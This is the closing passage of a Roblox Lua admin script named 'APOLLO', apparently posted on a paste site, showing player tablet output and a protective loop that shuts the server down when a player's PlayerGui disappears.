  2188.         APOLLO.Functions.tabletOutput(game:service'Players':findFirstChild(v.Name),'','Really red');
  2189.         end
  2190.     wait(0.8)
  2191.     APOLLO.Functions.dismiss(game:service'Players':findFirstChild(v.Name));
  2192.     end
  2193.     end
  2194. end)()
  2195.  
  2196.  
  2197. while(wait())do
  2198.     if APOLLO.Settings.SecurePlayergui then
  2199.     for i,v in next,game:service'Players':players() do
  2200.         if not v:findFirstChild('PlayerGui') or not v.PlayerGui:IsA'PlayerGui' then
  2201.             wait(3)
  2202.             if not v:findFirstChild("PlayerGui") or not v.PlayerGui:IsA'PlayerGui' then
  2203.                 APOLLO.Functions.permaMessage('A players PlayerGuis was removed. Shutting down server ~~APOLLO server security')
  2204.                 wait(3)
  2205.                 APOLLO.Functions.initiateShutdown()
  2206.             end
  2207.         end
  2208.     end
  2209.     end
  2210. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement